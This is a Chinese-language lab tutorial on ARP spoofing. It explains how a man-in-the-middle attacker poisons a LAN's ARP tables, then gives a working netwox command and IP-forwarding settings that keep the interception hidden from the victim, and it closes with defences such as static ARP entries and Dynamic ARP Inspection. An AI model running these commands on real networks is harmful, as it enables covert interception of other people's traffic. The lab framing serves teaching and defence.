ARP攻击
原理
它是在数据链路层进行的攻击(修改MAC地址),利用交换机Arp表的更新特点:后来者会更新先来者,Arp中间人通过伪造arp包进行攻击。
过程
A——SW——C——B
在一个局域网内:有交换机SW、被攻击主机A和目标主机B,C为攻击方。
(1)首先C向交换机SW发送伪造的由B发出的arp reply包,目标MAC地址为A的地址,伪造的源MAC地址为C的地址,由此来向交换机SW表明B的MAC地址变成了C的MAC地址。
(2)该arp包到达交换机,交换机则会在本地添加B的IP地址和C的MAC地址的映射关系。
(3)当该伪造的arp reply包到达A,根据Arp表更新特点:后来者会更新先来者,于是就会将被攻击主机A中的Arp表进行更新,将原本正确的B的IP地址和B的MAC地址的信息,变成了B的IP地址和C的MAC地址。
(4)当目标主机A有数据需要需要发送给B的时候,必定要经过交换机的转发,而此时交换机中有相应的映射关系,就会将数据转发给C,由此数据则会被C所截获。
(5)同时为了防止主机A发现(A迟迟未收到数据),C则会主动将收到的数据转发给主机A,由此达到完整的数据截获的目的。
实验环境
说明:Cloud1模拟的是kali虚拟机
绑定的操作:(拓展)
先添加一个UDP端口,再添加一块在同一网段(192.168.248.0/24)的网卡
实验步骤
(1)保证三个主机都可以互相ping通,在一个局域网内
(2)伪造一个由主机B发送到被攻击者A的一个回复包(ARPREP),包中将ARP源MAC地址改为攻击者的MAC地址。
(3)打开kali虚拟机,利用netwox工具来进行伪造数据包:
在伪造一个arp数据包之前我们可以先看看这个包有哪些信息,在被攻击主机A上ping一下目标主机B,然后在交换机的G0/0/1接口上抓取数据包,过滤一下arp数据包
如图为一个arp reply数据包:
了解了这些信息,我们打开kali虚拟机,输入netwox,然后按照顺序下一步,直到找到Spoof EthernetArp packet (以太网Arp欺骗包)
root@kali:/home/kali/Desktop# netwox
Netwox toolbox version 5.39.0. Netwib library version 5.39.0.
######################## MAIN MENU #########################
0 - leave netwox
3 - search tools
4 - display help of one tool
5 - run a tool selecting parameters on command line
6 - run a tool selecting parameters from keyboard
a + information
b + network protocol
c + application protocol
d + sniff (capture network packets)
e + spoof (create and send packets)
f + record (file containing captured packets)
g + client
h + server
i + ping (check if a computer if reachable)
j + traceroute (obtain list of gateways)
k + scan (computer and port discovery)
l + network audit
m + brute force (check if passwords are weak)
n + remote administration
o + tools not related to network
Select a node (key in 03456abcdefghijklmno): b
##################### network protocol #####################
0 - leave netwox
1 - go to main menu
2 - go to previous menu
3 - search tools
4 - display help of one tool
5 - run a tool selecting parameters on command line
6 - run a tool selecting parameters from keyboard
a + Ethernet
b + IP
c + UDP
d + TCP
e + ICMP
f + ARP
Select a node (key in 0123456abcdef): f
########################### ARP ############################
0 - leave netwox
1 - go to main menu
2 - go to previous menu
3 - search tools
4 - display help of one tool
5 - run a tool selecting parameters on command line
6 - run a tool selecting parameters from keyboard
a + ARP spoof
b + ARP server
c + network audit using ARP
Select a node (key in 0123456abc): a
######################## ARP spoof #########################
0 - leave netwox
1 - go to main menu
2 - go to previous menu
3 - search tools
4 - display help of one tool
5 - run a tool selecting parameters on command line
6 - run a tool selecting parameters from keyboard
a - 33:Spoof EthernetArp packet
Select a node (key in 0123456a): a
################# help for tool number 33 ##################
Title: Spoof EthernetArp packet
+------------------------------------------------------------------------+
| This tool sends a fake packet on the network. |
| Each parameter name should be self explaining. |
| |
| This tool may need to be run with admin privilege in order to spoof. |
+------------------------------------------------------------------------+
Synonyms: frame, hping, mac, send
Usage: netwox 33 [-d device] [-a eth] [-b eth] [-c uint32] [-e uint32] [-f eth] [-g ip] [-h eth] [-i ip]
Parameters:
-d|--device device device for spoof {Eth0} //
-a|--eth-src eth Ethernet src {00:0C:29:2C:47:C8}
-b|--eth-dst eth Ethernet dst {0:8:9:a:b:c}
-c|--eth-type uint32 Ethernet type : ARP=2054, RARP=32821 {2054}
-e|--arp-op uint32 ARP op : 1=ARPREQ, 2=ARPREP, 3=RARPREQ, 4=RARPREP {1}
-f|--arp-ethsrc eth ARP ethsrc {00:0C:29:2C:47:C8}
-g|--arp-ipsrc ip ARP ipsrc {0.0.0.0}
-h|--arp-ethdst eth ARP ethdst {0:0:0:0:0:0}
-i|--arp-ipdst ip ARP ipdst {0.0.0.0}
Example: netwox 33
Press 'r' or 'k' to run this tool, or any other key to continue
具体操作指令:
netwox 33 -b 54:89:98:62:25:A6 -e 2 -f 00:0c:29:2c:47:c8 -g 192.168.248.101 -h 54:89:98:62:25:A6 -i 192.168.248.100
执行完后则会生成一个arp报文
此时的被攻击主机A的arp表已经发生了改变
攻击之前A的arp表:
攻击之后的A的arp表:
发现去192.168.248.101这个IP地址所对应的MAC地址改变了,变成了攻击者的MAC地址。
而此时kali虚拟机模拟的攻击者默认是开启了网卡转发功能,但是现在如果将其kali网卡转发的功能关闭,则被攻击者A就不能再ping通目标主机B了
关闭kali网卡转发功能操作:
vim /etc/sysctl.conf //编辑sysctl.conf 配置文件
net.ipv4.ip_forward = 0 //默认是1,设置为0
sysctl -p /etc/sysctl.conf //立即生效不需要重启
cat /proc/sys/net/ipv4/ip_forward //查看值是否为0,为0表示修改完成,为1表示没有修改成功
现在被攻击主机A就ping不通目标主机B了:
建议在截获A所发的数据时,开启kali的网卡转发功能,是为了防止被攻击主机A发现自己被窃听截获了
——————————————————————————————————————
防御
说了攻击,我们现在来说说防御
-
主机中手动建立静态arp表
-
主机中用arp防火墙来固化arp表
-
交换中DAI技术(动态arp检测技术)
DAI交换机会自动记录主机的arp信息,来获得主机的IP、MAC、VLAN、接口的绑定信息,会根据这些绑定信息来查看主机发出arp信息与绑定信息是否吻合,吻合就放行,不吻合就丢弃或者关闭该接口。
由于arp没有认证机制,DAI就相当于做了一套认证机制来防御arp攻击。
802.1X协议:进行访问控制和认证的协议
——————————————————————————————————————
扩展
为什么要最开始A要向Bping一下,是为了获取一下他们之间的arp数据包。
如果不去ping,就需要用到ARP扫描,什么是ARP扫描,就是攻击者向整个网段内发送免费ARP,将数据包中源ip改成网段中已经配置过得IP地址,那么配置了这个真正的IP地址的的主机就会给攻击者回复,由此就知道了被攻击者的相关信息。